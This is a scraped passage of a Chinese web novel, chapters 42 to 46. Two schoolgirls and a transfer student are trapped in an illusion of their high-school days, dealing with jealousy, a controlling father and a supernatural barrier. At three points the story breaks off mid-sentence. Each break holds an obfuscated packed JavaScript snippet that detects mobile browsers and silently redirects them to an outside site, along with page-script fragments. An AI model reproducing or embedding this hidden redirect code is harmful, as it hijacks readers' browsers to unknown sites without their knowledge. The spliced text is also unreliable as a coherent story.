钟励擦了擦额头上不存在的汗水,就琼芎这种情商水平,怎么进娱乐圈的?
她夹在两个人中间,好难搞啊。偏向谁都不行。要是偏向琼芎,她又觉得对不起纪善的腿,她隐隐觉得应该是琼芎弄瘸的,可要是偏向纪善,钟励怕他小命不保。
“抱歉,我刚刚转来,钟励她是怕我不适应,所以才想带着我一块儿融入。如果让你觉得不舒服了,我很抱歉。”
纪善没有与琼芎针锋相对,他反退一步。
他垂下眼帘,长翘的睫毛像一把小刷子,上方的灯光照在眼睫毛上面,形成一个阴影,盖住了他眼里的情绪。
“让你们不愉快了,是我的问题,从今以后,我会把握好与钟励相处的距离,不会再让她为难的。”
“实在很抱歉,我现在就走。”
不等另外两个人做出反应,纪善站起身来,他端起盘子,也不知道是不是食堂的地板更滑还是怎么样?他走路明显比之前吃力,但背脊依旧挺拔,宽松的校服下更显得他瘦削。
钟励看到他前方有一滩液体,疑似学生不小心洒在地上的汤,但纪善似乎没看到一般,依旧往那个方向走。
“等一下。”钟励起身叫住他,他的脚伤不能更严重了,虽然不知道纪善的身体构造如何,但一条腿伤三次的话,不截肢都算违反自然规律了吧。
钟励也不敢跑起来,这食堂的地板跟用地沟油擦过一样,滑溜溜的。她小心走着,一把拉住纪善的手臂,她能感受到衣服底下结实的臂膀。小看他了,原来还是有肌肉的,那走起路来看着真是弱不禁风。
“小心一点啊,前面地上有水,别踩到了。”
“谢谢你,我知道。我只是害怕给你们带来麻烦,所以走得着急了一点儿。”
“额……我绝不是在说被人赶走的意思。”
说完纪善小心回头看了一眼琼芎,又立马扭过头去。
行吧,后面这句解□□盖弥彰,不如不说。
钟励也不知道纪善这葫芦里卖的什么药?她狐疑看了过去,只看到微微低下头的侧脸。装什么小白花呢?剧本也没给她,跟打哑谜一样。
钟励突然感受到手背上传来一股热意,纪善的大手轻拍了一下她的手背,只听他轻声道:“稍后跟你说。”
时间很短,这一套动作行云流水,不超过三秒。
“我先走了,我不希望你们为了我吵架。”
纪善抬脚离开,留原地的钟励一脸茫然,她有点理解,但理解得不多。
饭桌上的琼芎,一口饭也吃不下去了,她紧握着手里的勺子,手指攥得发白。
“那个死绿茶男你从哪里认识的?”
钟励听到琼芎的发问,内心回答道:可能是因为伤了两次腿而变异的吧。
43. 第 43 章
琼芎盯得再紧,总有她看不到的时候,比如上厕所的时候,和上课的时候。
当了同桌后就是方便,随时沟通交流。但是不能说话,也没有手机打字,用笔在纸上写字的话,效率低了很多。
“下课再说吧。”
钟励知道琼芎上厕所的规律,她一个上午至少去一次厕所的,人吃五谷杂粮,哪能不去厕所?那就有时间了。
暂停写字聊天还有两个原因,一是白纸黑字是太明显的证据了,要撕毁还要费一番功夫,万一有心人拼凑回去,又是麻烦。
这二嘛,则是因为讲台上的老师已经频频朝他们这边看过来了,事不过三,他们再聊下去,就该吃粉笔头了。
钟励摆正姿势,挺直腰背,认真听讲,可没听几分钟,眼皮控制不住往下耷拉。
真难啊,她这个年纪已经不适合拼搏了,就应该养养生,睡睡觉。
“醒醒,醒醒。下课了。”
钟励双手放在桌子上撑着脸,她一直以为自己没睡着呢只是犯困,但听到纪善叫她的声音后,她确信自己睡着了。
“她走了吗?”
钟励揉了揉眼睛,睡眼朦胧。
纪善点点头,往教室后门看了一眼,说道:“琼芎刚刚被老师叫去办公室了,一时半会儿回不来。”
“你中午的时候在食堂说什么呢,你想到了什么方法吗?”
钟励拧开保温杯里的水猛灌了一口,又抽出几张纸巾用水打湿,拍在脸上。
这下是清醒了不少,她抬起眼皮看了一眼黑板右上角的课程安排,下一节是数学课,又要昏睡过去了。
纪善搬动椅子,凑得更近,他压低声音,率先抛出他的结论:“我们可以来一个亲密计划。”
面对钟励的一脸懵,他耐心解释计划的思路。
“我发现了,只要我跟你走近一点,琼芎就容易生气。”
“那我们进了琼芎的幻境,出去的办法就是让她清醒过来。既然没有办法直接叫醒她,那我觉得让她气醒也不错。”
“恨比爱浓烈,你与其晓之以理,动之以情,不如踩在她的底线上,将她气醒。”
最后纪善做出总结,“我们可以假装谈恋爱,你对我爱得特别深,哪怕我瘸腿,在外还有八个女友,你都对我至死不渝,怎么劝都不听,琼芎一定会气醒的。”
钟励听完拍了拍掌,“逻辑清晰,结构分明。去写材料吧。小伙子,你很有天赋。”
“考不了。”
纪善抬头望天,神情忧郁,但这不是室外,他最多只能看到掉墙皮的天花板。
“为什么?”钟励下意识发问。
“因为,我已经过了35岁了。”
“这样啊。”钟励表情毫无波澜,低头望向桌屉里,下一节课要讲试卷了,她得翻一下,不然桌子上太空不好看。
---
学校办公室。
琼芎背着手,头微微低下,眼里是掩藏不住的鄙夷。
她身边站在一个长相跟她有三分相似的中年男性,西装革履,身材保持得还不错,至少明面上没有看到凸出的肚腩。
“琼芎,未来的前途是一件大事。你好好跟你父亲商量商量,做家长的都是为了孩子好,不会害了你的。”
面对班主任的温声细语,琼芎嘴唇蠕动,最终还是没说话,她点了点头。
“老师知道你是乖孩子,面对前途这种大事,一定要慎重选择,不要意气用事。”
班主任总体上是一个很和气的人,她只有在管理混乱的班级秩序,以及下降的成绩时,才会发火。
“老师,辛苦你了。小孩子就是不懂得当父母的苦,我们勤勤恳恳工作,不就是为了让他们过上好的生活吗?他们居然还不领情。”
说吧琼芎父亲背过身去叹了口气,藏在黑发当中的些许白发随风而动,更显得他父爱深沉。
琼芎仍是保持沉默,她身体更靠近班主任,而不是她的父亲。
“琼芎爸爸,琼芎可能只是怕不适应环境的改变,无论什么好的前途,最终还是由她自己来过自己的人生,所以还是让她来选择吧。”
琼芎抬起头,眼里倒映着班主任的身影,她眨了眨眼,隐去闪闪泪光。
“老师,我会考虑清楚再做选择的。”
两个人走出办公室后,琼芎迅速拉开与她父亲的距离,她双手环胸,全身戒备。
琼芎父亲看了看四周,拉她来到楼梯角落。
没人的地方,琼父脸上温和的笑意俨然消失,他紧皱着眉头,看琼芎就像在看一只不听话的宠物一样,明明之前都在掌控之中。
“你为什么不出国?去国外读大学不好吗?一切我都给你安排好了。”
“安排到别人的床上是吗?”
琼芎没有降低自己的音量,还好现在预备铃已经响过了,大部分学生已经回到了班级,所以没人看向他们这边。
“你胡说八道什么?”
琼父嘴角抽搐,指着琼芎的鼻子冒出这么一句话。
“我辛辛苦苦为你跑上跑下,安排你出国,甚至还给你介绍好夫婿,你有什么不满意的?”
琼芎不甘示弱,她瘦弱的背脊直得像一棵松柏,“为我好?你是为了你资源吧?跟你的好儿子。”
“你拿我去换取资源,供养你的好儿子是吗?”
琼父说得好听,打算让琼芎出国读大学,但学校都给她安排好了,她甚至都不能在几所学校当中选一个,只能去安排好的学校。
因为她出国也不是为了学习,为了前途,只是去给人当保姆,当陪读的。她去哪里不重要,她只能跟随她未来需要伺候的小少爷,人家去哪里她去哪里。
被女儿一下子戳破事实的真相,琼父的脸上挂不住了,他只好拿出一家之主的威严,怒斥道:
“大人都决定好的事情,容得了你一个学生指手画脚。反正你去也得去,不去也得去。”
“再说了。”琼父瞥了一眼琼芎,轻笑道:
“人家能看上你,是你的福气。”
“你性格孤僻,又没人喜欢你。从小你就不讨人喜欢,现在有一个有钱的同龄男人看上你,你就知足吧,趁着还年轻,抓住这个好机会。”
琼芎嘴巴抿得紧紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825364|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,她放在两侧的拳头也攥紧,艰难从喉咙里吐出一句话:
“我有朋友的。”
是的,她有一个很好的朋友,她们小时候就认识了。哪怕钟励身边还有其他朋友,但她们才是认识最久的,最了解彼此的。没人比得上她们俩之间的感情。
琼父哈哈大笑,从琼芎的角度看去,老男人因为抽烟而发黄的牙齿,外貌因为他心灵的丑陋而变得更丑陋。
琼芎站着不动,冷眼旁观他父亲对她的嗤笑,一声不吭,是她无声的反抗。
琼父似乎的听到了一个很好笑的笑话,笑得他眼睛冒出了一点泪水,他伸出手抹去,平复了一下,对琼芎说道:
“什么好朋友?到最后都会走散的。尤其还是你们的感情。”
“不会的。”琼芎在其他事情上懒得争辩,可一旦提及她与钟励,她则变得像一只猛兽。
琼父似乎对于琼芎的愤怒感到满意,或者是说,他了解到了她的弱点,并且朝她的弱点猛烈攻击。
“虽然你们现在是好朋友,但随着年龄的增长,她有了喜欢的人,你就不再是她生活当中最重要的朋友了。”
琼芎的手臂无力垂下,她很想出口否认父亲的说法,但按照她身边大部分女性的生活习惯,确实如此。
大部分人都认为,男朋友是比同性好友更重要的存在,无论跟同性好友约定了什么,都可以为了男朋友而爽约推翻。
琼父见到琼芎垂头丧气的表情,嘴角勾起一抹笑容,再接再厉,继续朝她的弱点攻击。
“她到时候要是结婚了,有了自己的小孩,怎么可能还会记得你?”
琼父说的话,恰好是琼芎最害怕发生的事情,她怎么能就这么消失在钟励的生活当中,甚至被她遗忘。
“所以,你就乖乖出国,找到属于你自己的幸福。这才是你们最好的结局。虽然你没了这个朋友,但你以后结婚了,有你丈夫不就好了。”
琼父原本还以为讲到这个地步,琼芎应该乖乖听话了,她还在上学,接触的世界又不复杂,只要给她制造一点儿恐慌,便能让她乖乖听话。
“我不要。你要去当陪读,那你就自己去好了。”
“反正古代的书童也是男的,你就很符合啊。”
琼芎大步一迈,趁着身形灵活,一下子逃开。而琼父又不可能当着大众的面拉着琼芎吵起来,家事闹出去多难看,更何况这要说出去了,落的也是他的面子。
琼芎一股气跑到教室门口,本想跑到钟励身边,挽着她的手臂,头轻轻靠在她的肩膀上,哭诉她的不易,然后听钟励温和的安慰声从她的胸腔出传出来。
骨头之间声音的传递像白噪音,听着很催眠。
可当她跑到教室门口的时候,瞧见钟励在跟另一个男人说话,眉眼弯弯,他们甚至还写小纸条。这在学生时代,互相传递纸条,可以证明他们关系还可以。
难道真如琼父所说,她们之间的友情是走不到后面的吗?只能在这里中断了吗?
琼芎的泪水逐渐溢满,她咬咬牙又把泪水憋了回去。
“不行,我绝不能让你忘记我。”
44. 第 44 章
“钟励。”
琼芎又恢复了往常的模样,一点儿也看不出来她几分钟前还在跟她父亲吵架。
她扬起一抹笑容,语调轻快。
钟励手忙脚乱的,赶忙把手上的纸条揉成一团塞进桌屉里。
她跟纪善的两张桌子紧靠,还有几本书不知道是谁的,放在了两个人桌子的边界。通常异性同桌之间会界限分明,物品很少会越过边界,除非他们已经到了比较亲密的阶段。
钟励转过头来:“怎么了?你刚刚去老师办公室了吧?老师叫你去是有什么事情吗?”
琼芎眨眨眼,当做没看到钟励的小动作,她右手轻轻靠在桌子上,刚想张口说话,黑板墙壁上方的喇叭响起了上课铃。
“下午放学我再跟你说。”
还好今天是周六,虽然也要上课,但是至少晚上的晚自习可以晚来半个小时,空出的时间多了,她们也就才多了聊天的时间。
不然钟励就只能在跟琼芎聊天还是洗头之间二选一了。
上课的时候,钟励正看着黑板上面的数学公式发呆呢。字母分开她都认识,合起来就不知道是什么东西了。
突然感觉到手肘处痒痒的,她回头一看,纪善朝她塞来一张纸。或许是他撕得不好,长方形的纸张从本子上撕下来后,就剩一个崎岖的三角形了。
“你要去?”
钟励点了点头。
纪善把纸抽回来,“唰唰唰”在上面写道:“你不是也赞同我的计划吗?那拒绝一下她?跟我走。”
钟励看着纸条上面的黑字长久沉默,她扫了一眼黑板上的老师,正在讲题目,应该不太注意到她。接着她小幅度偏过头,看向琼芎的位置。
琼芎跟钟励从前后来看隔了三排,从左右来看又隔了一个组,所以从钟励的角度看去,只能看到琼芎一半的背影,另一半被其他人挡住了。
长发被随意拢起,她也不是时刻都全神贯注的,偶尔听得厌烦了就靠在椅子靠背上,手上的笔无意识在草稿纸上胡乱写。
钟励收回视线,朝纪善摇摇头,“她心情不太好,虽然她没有明说。”
“计划什么的后面再说吧,虽然这里是虚幻的世界,但我还是希望她开心一点儿。”
钟励拿起挂在书桌旁的书包,轻轻拉开拉链,饭卡在夹层里面。她看着饭卡开始头疼,她根本不记得里面有多少钱啊。
本来觉得,买点儿零食请琼芎吃,缓解她的情绪,但她根本不记得饭卡里还剩多少钱。要是到时候刷卡的时候没钱了,又得琼芎买单,她多不好意思。
钟励又翻了翻书包,看看有没有现金。突然翻到一个小猫的零钱包,她捏了一下,里面有几张钱。
她拉开拉链后,发现了好几张红色的纸币。
“原来我刚刚发伙食费啊。”
学校的饭卡都是要现金充值的,看着情形她应该刚刚拿到伙食费不久,那现在应该十分富裕。
她将现金小心翼翼叠起来,塞到口袋里。她忽然想起什么一样,又把钱掏出来,摸了摸口袋是否有缺口。
她之前不知道,找零的23块钱放在口袋里,结果她忙着追公交,忽略了大腿上的异样,等她搭上车,一摸口袋,钱已经从缺口处掉下去,顺着她的大腿滑下,遗留在了路边,不知道便宜了谁。
至此,这个教训一直被她记住,从不曾忘记。每当以后要把现金放在衣服口袋的时候,她都会习惯性检查一下。
下课铃声一响,钟励飞速起身跑到琼芎身边,弓着腰作起跑样,朝她眨眨眼,“到老地方等我吧,我先去办点事情。”
话刚说完钟励就跑出去了,得快一点儿跑,晚个半分钟,楼梯堵得都是人,小卖部的货架处也会挤满人,转个身都难。
赶在人群如丧尸一般涌入之前,钟励手上提着一个装得鼓鼓囊囊的红色塑料袋,半透明的袋子里透出里面的零食包装。
钟励逆着人群行走,来到了她口中的老地方。其实就是一片荒地,也不知道学校是没钱了还是怎么样?这块地就这么空着,偶尔雨天了,这块沙地就变得跟泥潭一样,要是走到这边不小心踩到,鞋子就别想要了。
因为是空地,附近的楼也很少使用,便显得有些荒凉。
“琼芎。”
钟励由走路变成小跑,手上提着的塑料袋窸窸窣窣作响。
“你去哪里了?”
“我去买了一点儿零食。”
钟励献宝一般,解开塑料袋打的结,“呐,都是你喜欢吃的。”
她挑出几样零食来,放在琼芎眼前晃了晃,又说道:“你要是不想吃饭呢,你就吃这些填一下肚子,我还给你带了一瓶酸奶。”
将酸奶递给琼芎后,钟励又去翻吸管了。可能是零食太多了,吸管藏在里面翻来覆去都找不到。
找得火都大了,想干脆把里面的零食都倒出来找。但这不是教室,脏脏的地上倒出零食,哪怕只是包装碰到沙子,钟励都会膈应。
“啧,服了。我吸管呢?我明明拿了。算了,一会儿你自己找吧。”
“这里还有一个水蜜桃,服了学校的物价了,搞垄断是吧,一个水蜜桃卖六块钱,又不大。我只买一个不是我小气哈,等我们出去了,去超市给你买正常价格的水果。”
“还有,你要是想吃饭呢,我一会儿陪你去吃饭,酸奶你就饭后喝。”
琼芎全程就开头问一句钟励去了哪里,然后就一脸懵,手上收获了一堆食物。跟去奶奶家一样,疯狂被投喂。
“扑哧。”
琼芎低头笑出声,怀里抱着钟励给的零食,笑得眼泪都出来了,但她双手都很忙,没空擦眼泪,双眼水汪汪的。
“干什么?我又不是要饿死了。给我买这么多吃的干什么?”
“不喜欢?那我收回了。”钟励装作要收回去,却轻微抬起手。
琼芎倒退一步,“诶,送人的还好意思再收回去的吗?”
“好好好,我不跟你抢,都是你的。”
“对了,你要跟我说什么事情啊,快点说吧。”
钟励掐着点呢,虽然她目前离高中时代过去了快有十年,但是她依旧记得下午时间的紧迫感。
她有记忆,要是现在回去,她的舍友一半洗完澡了,一半刚刚吃完饭走回来。她得赶在吃完饭回来的那批人之前回去,不然她就只能最后洗澡了。
琼芎脸上的笑容凝固,她扯了扯嘴角,说道:“我可能要出国了。”
要是钟励很难过就好了,她不舍得她出国,离她这么远。说不定好几年都见不到面。
不料钟励惊讶张大了嘴巴,最后轻拍琼芎的肩膀,笑容没有消失,而是转移到了钟励的脸上。
“好事啊,出国深造。”
只是钟励纳闷,如果出国这件事情是一定发生的,存在记忆里的,那她怎么从来没听琼芎说起过。要不是进了幻境,她都不知道。
“出国这件事情,你有没有想过不告诉我?”
“不够义气,我还以为你会什么都告诉我呢。”
钟励装作失落垂下眼帘,肩膀都塌下来了。
她是真心替琼芎高兴,要是琼芎出国读书了,认识了更多的人,见过了更为广阔的世界,可能她心里的执念就没有那么深了。
钟励一直知道,琼芎对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850318|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的占有欲太强了,她承认朋友之间也有占有欲,琼芎又因为家庭的原因,很容易没有安全感。只要她跟其他人一起玩得太好,琼芎就会过来逼问钟励,她们俩才是最好的朋友吧。
琼芎心里藏着的东西太多,又不敢轻易暴露,加上外界的压力,就像一个即将爆炸的气球。
要是能出去看看,又远离了让她痛苦的父母,心态说不定能有转变。
“我很替你高兴。你出国以后,可以见识到更加广阔的天空,认识到来自不同地方的人……”
但钟励还没说完,琼芎就出口打断了她:“可你也不是什么事情都跟我说啊。”
什么?钟励的记忆停留在她的上一句话,过了三秒钟,她才反应过来,琼芎是在说她之前那句玩笑话,她只是想开个玩笑。
可琼芎嘴巴抿得紧紧的,眼睛始终盯着她,好像是认真的。只听她又开口道:“你跟之前不一样了,你现在有很多事情都瞒着我了。”
“你跟那个新来的转学生在一起了吗?他才来几天?你们就能在一起了?”
面对琼芎的发问,钟励思维发散。她确实也觉得奇怪,怎么会有人才认识几天就在一起了。她大学军训刚开始几天呢,班里就出现了几对小情侣。
只是她这时候是被质问的一方,当然不能落了下风,她摸了摸脖子,硬着头皮回答道:“可能这就是爱情吧,我看到他的第一眼,我就觉得我们应该认识很久了。”
认识很久是真的,她没有说谎。但更多的细节,钟励编不下去了,她跟纪善又没有真的在一起,多说多错,露馅了就不好了。
“那个,我先……”
“钟励。”
从不远处传来纪善的声音,他虽然不至于拄着拐杖,但一瘸一瘸的样子也是十分可怜。
琼芎走路没声音一样,突然走到钟励身边,悠悠的说话声在钟励耳边响起:“难道你有救赎的癖好?觉得他可怜,所以想拯救他?”
什么乱七八糟的,这么多年琼芎到底都看了什么东西?
“不是啊。”钟励出口否定道。
“我们去吃饭吧,再晚连刷锅水都喝不上了。”纪善一瘸一瘸来到了钟励身边。
在钟励看来,这可是救星啊。刚刚她跟琼芎的气氛可尴尬了,她还想找借口溜掉了,这理由不就来了。
“好啊好啊,我们去吃饭吧。我正好饿了。”钟励摸着肚子,虽然她对于学校食堂的饭菜没什么好态度。
“等等。”琼芎一把拉住了钟励的手臂,现在钟励一边手在琼芎手里,另一边手在纪善这里。
她差点原地裂开,要不砍了她一人一半吧。
“你不是说要跟我去吃饭吗?还是说你要跟这个外人去?”琼芎歪着头,看向纪善的眼神像看着什么死物一般。
钟励打算出尔反尔了,刚刚是她说的话没错。但她是真怕被琼芎套出话来。
她轻轻拉开琼芎放在她胳膊上的手,说道:“纪善同学腿有点残疾,比较可怜,老师有嘱托让我多照顾他,要是你想吃饭,你也可以一起来的。”
反正她不想再单独跟琼芎独处了,别到时候找不到琼芎弱点,反倒把她弱点吐得一干二净。
琼芎拒绝了钟励的提议,她不要三个人吃饭。
钟励最后无奈摊摊手,“那好吧,你记得吃饭,我先跟纪善走了。”
琼芎望着两个人远去的背影,他们走路的时候肩膀偶尔会碰到一起,但并不立刻移开,关系确实不是普通同学。
琼芎手里的水蜜桃被她捏烂了,汁水往下滴,她声音阴沉沉的:
“所以,你放弃了我,选择了他是吗?”
45. 第 45 章
“我们要去哪里?”
“不知道,我其实也不饿。”
两人走着走着,发现这路跟看不见尽头一样。
钟励停了下来,额头上已经出现了些许汗水,她转了一圈,奇怪道:“我记得我高中不大的啊,我们走了多久,怎么还没走到地方?”
他们似乎一直在那块荒地打转,怎么也走不出去。
钟励偏过身子,眼睛盯着正在下沉的夕阳,颜色还是金橘色,明明她去小卖部的时候就是这个颜色了。
通常来说,这夕阳每过几分钟,颜色就会略有不同,直至最后太阳落山变成漆黑一片的天空。
“不对劲。”
钟励冒出了鸡皮疙瘩,她摸了摸手臂,看向了纪善。
“你有什么想法吗?”
这是什么恐怖副本啊?之前也没说啊,还以为跟上次一样回到以前,然后遇到特定事件就回去了呢。现在一个普通人,一个瘸子,不会再也出不去了吧。
只见纪善张了张嘴,但……是静音?
钟励皱起了眉头,“你不但瘸腿,还变成了哑巴?”
纪善一边开口说话,一边双手比划动作,可奇怪的是,钟励还是听不见他说话。
“我知道了,”钟励一拍脑袋,得出结论:“应该是我聋了。”
“我靠近一点儿吧,也可能是距离的影响。”
钟励朝纪善的方向走去,可她脚下像是安装了一台跑步机,无论她怎么走,都是在原地踏步。
“哎?哎?不是。”
明明人就在眼前,但就是靠近不了。
钟励迫切伸出手,想要触摸到纪善。这个可怕的世界里,她只认识纪善一个人了,要是她被抛下,可真就不知道该怎么办了。
但她伸出手的时候,却摸到了一堵透明的“墙”。看不到摸得着,这堵墙横亘在两个人的中间,并且这墙还有越长越大的趋势。因为钟励看到了,纪善虽然没有在走动,但他人离她越来越远。像是脚下有看不见的传送带,要把他给带走。
“朋友?难道你有什么门路可以出去吗?怎么不带上我?”
就算进入险境,钟励也觉得两个人共同进入比一个人去好多了。
眼见着纪善越来越远,钟励心里恐惧到底极点,不要留她一个人在这种鸟不拉屎的地方啊。该死不死回到的还是高中,连手机都没有,身边最多的就是卷子。
她觉得自己被关在了小黑屋里,感受不到外界的变化,那她是存在的吗?还是虚无的?
耳边时而呼啸而过的风也静止了,天上的云朵也不动了,只有她的呼吸还存在。
她一着急,一拳捶在了看不见的透明墙上,她的右手镶嵌在墙里,她能感受到,墙体在飞速瓦解。
“啪啦”如同玻璃碎掉的声音,看不见的墙消失了。因为钟励听见纪善说话的声音了。
“钟励?怎么样?刚刚很奇怪啊,我根本听不到你说话。”
这墙是好墙,要是能用作装修材料,钟励早些年根本犯不着买耳塞和跟邻居吵架。可惜需要它的地方它就不在。
熟悉悦耳的声音又传入了钟励的耳朵里,她的五感又回来了,眼前的视线逐渐模糊,她一把扑进纪善的怀抱,感受着眼前人的体温,她才慢慢恢复过来。
刚刚的无助和迷茫,她可不要再感受第二次了。
“我没事,刚刚我才要问你吧。我根本感受不到你,你不会是跟谁有了交易,自己偷偷出去了吧。”
钟励一直没有抬起头,说话的声音也带着哭腔,她只能通过开玩笑来缓解自己的情绪。她双手还抓着纪善背后的衣料,等她清醒恢复后,顿时有些尴尬。
她这起来也不是,不起来也不是。
不料纪善轻拍她的肩膀,温柔的声音靠近耳边,温暖的大手时而落在她颤抖的身体上。
“别害怕,我在。”
两个人相拥了大约五分钟,还是钟励先推开了。
她抹去脸上风干的泪痕,又清了清嗓子才说话。
“刚刚是怎么回事啊?我差点以为我要永远留在这里了。”
钟励靠得很近,感受到他心跳一直很平稳,很安心。
“吓死我了,还好那堵墙消失了。”
纪善也觉得奇怪,他朝刚刚墙在的地方伸出手,但只能摸到空气。
“是你刚刚打破了墙。”
钟励听到纪善的话一脸茫然,她低头盯着自己的双手,“我吗?”
话音刚落,她的双手跳动出一缕黑雾,似乎是从她皮肤底下钻出来的。
“我去!”钟励受到惊吓,原地跳动,双手跟大摆锤一样甩来甩去,“我感觉这跟蟑螂爬我身上是一个等级的可怕。”
“别担心。”
纪善握住钟励的手腕,让她冷静下来。他声音清亮:“这东西目前不会产卵,跟蟑螂不是一个等级的。”
“应该是你身上的恶怨跟琼芎同源,所以你才有打破墙的能力。”
钟励脑筋一转,“这算是她把能力分给我了吗?”
下一秒,钟励对着天空大喊,“放我出去,我是你们的主人,让我出去。”
她一边喊,一边打军体拳,朝着周围打来打去。可形势没有任何的变化。
“应该只是这堵墙比较傻,认不出来。觉得气息一样就是世界主人了。”
“看来受体并不敏感,这都能认错。”钟励遗憾收回手。
她接着说道:“那我们走吧。”
她这话刚说完,天空顿时斗转星移,明明刚刚还是下午,短短几秒内,天空已更换过一轮,挂上了初生的太阳。
钟励将手放在眼睛前方遮挡过分耀眼的光线,“怎么回事?我刚刚失忆了吗?不是下午吗?”
同时伴随着激昂的音乐,路上的人群如同幽灵一般凭空出现,有些人不看路,撞上了钟励的肩膀,回头道歉:“不好意思不好意思。”
等场景再次转换,两人就到了教室了。
尴尬的时间节点,他们根本不知道现在是什么时间。要是高三的话,还能根据墙壁上的高考倒计时数数,可高二,完全就用不了这个办法了。
“校运会要到了,有哪些同学
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870046|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要自愿参加比赛的吗?”
班主任负责说话,而她身后的班长“唰唰”在黑板上写起了“校运会”三个大字。
钟励下意识寻找琼芎,只见她端正姿势,双手放在桌子上,头也不回。
“奇怪了。还真是莫名其妙,我们要是这么一直被带着走,一直被动,很不利啊。”
钟励小声喃喃道。
“老师。”许久没有动作的琼芎站了起来,她举起手,“我有一个人选。”
说罢,她回头扫了一眼钟励旁边的纪善,嘴角勾起一抹笑容,“我觉得纪善同学就很适合跑三千米,为我们班级做贡献。”
“啊?”钟励听到这话立刻做出反应,她歪着头看了看琼芎,又看了看纪善。
一个瘸子去跑步这合理吗?
没事,班主任眼睛挺好使的,虽然她是高度近视,但不至于看不清纪善的身体状态,这又不是残奥会,纯粹折腾人嘛。
“好。”班主任半点思考没有,欣然同意。
钟励悬着的心终于是死了,她扶额苦笑,已经不想说话了。她左手撑在桌子上托着脸,生无可恋问旁边的纪善:“你怎么看?”
纪善老神在在,甚至还有心思整理桌面上乱放的试卷,“能怎么办?不能跑我就走咯。”
钟励叹了口气,走倒没什么,等他走到终点,就怕天都黑了。而且她总感觉没有这么简单。
她低头去看纪善的另一条腿,问道:“这里发生的事情对外面会有影响吗?”
纪善明白钟励的意思,是说要是他另一条腿也伤到了怎么办?他摇摇头,将整理好的试卷分门别类,“那就只能怪我命不好了。”
“没想到,你还信命啊。”钟励把头转了回去。
班主任宣布道:“好,那就由纪善同学参加这次的三千米吧,大家可要去给纪善同学加油啊。”
“有人不同意吗?”
钟励眨眨眼,觉得这个问题简直就是在引导她站起来说不同意。就跟电视剧里结婚宣誓的时候一样,问在场有谁反对这对新人吗?绝对是引导没错吧。
她伸了一个懒腰,站了起来,椅子与桌面摩擦发出刺耳的声音,“老师,我反对。”
班级里原本低头学习的同学,这时候仿佛是接受到了什么程序,齐齐抬起头望向了钟励,好在她全然看着讲台,没太在意。
“他不太方便,我帮他跑吧。”
琼芎只是针对纪善,又不会针对她,大概率也不会想要断她的腿。
“啊?你?可是我们这是男子比赛啊。”班主任扶了扶鼻梁上的眼镜。
哦吼,她现在眼睛好使了,看出来她是女的了,那怎么刚刚没发现纪善是瘸子呢?
“老师,其实我是男的。”
钟励说完这句话,藏在课桌下面的手轻轻抬起,黑雾浮现,她对上班主任的视线,反光的眼镜也遮挡不住班主任眼里一闪而过的黑雾。
“好的,我知道了。那你替他跑吧。”
钟励挑眉,没想到真的有用,看来这世界里不长眼睛、不分敌我的人还有很多啊。
46. 第 46 章
“所以,你是一定要为了他,跟我作对吗?”
操场的风挺大的,吹起琼芎的碎发,呼啸的风声还有点盖住了她的声音。
操场上人很多,但却死一般寂静,都闭着嘴,眼睛无神。显然不正常,要是高中生能有这么安静,老师也不用天天强调纪律了。
钟励跟纪善站在一起,他们对面是琼芎,像是形成了对立面。
钟励咬了咬唇,她长叹出一口气,“我想出去。”
琼芎像小动物一般歪了歪头,就跟路边疑惑人类行为的小猫一样,“出去?去哪里?果然你是想抛下我吧。”
她应该还是没有恢复记忆,认为自己就是高中时期的琼芎。想到这一种可能性,钟励也失去了与琼芎谈判的想法。她什么都不知道,根本谈不了啊。
“算了,你想干什么就干什么吧。”钟励放弃挣扎了,她蹲下身解开鞋带又系紧,等一会儿跑的时候不容易掉下来。
系好鞋带后她原地踩了几步,操场上的黑色小石子不知道怎么就钻了进去,卡在脚底,钟励用力甩了几下,小石子却卡得越深。
“我真服了,校长贪污了多少钱做这种假操场,这破石头每天都给我跑鞋子里去。烦死了。”
钟励放弃挣扎,她一屁股坐下来,反正也是校服,脏了就脏了。脱下鞋子,拿着鞋子对地面敲了几下,小石子自己就蹦出来了。
“什么破事情,我真是受够了。”
钟励嘟着嘴唇,跟小时候她委屈生气的时候一样,每次她妈妈看到了,就说嘴巴上都能挂一个酱油瓶了。
她本来也只是一个普通人,不想卷进什么灵异事件,一天天的已经够心烦,人际关系也是一团糟。真想世界毁灭算了。
随着裁判的一声令下,钟励一步一步在操场上跑了起来。她目光正视前方,脑袋放空,身边不时跑过她的竞争对手,刮起一阵风。她始终紧抿着唇,坚定踏下每一步。
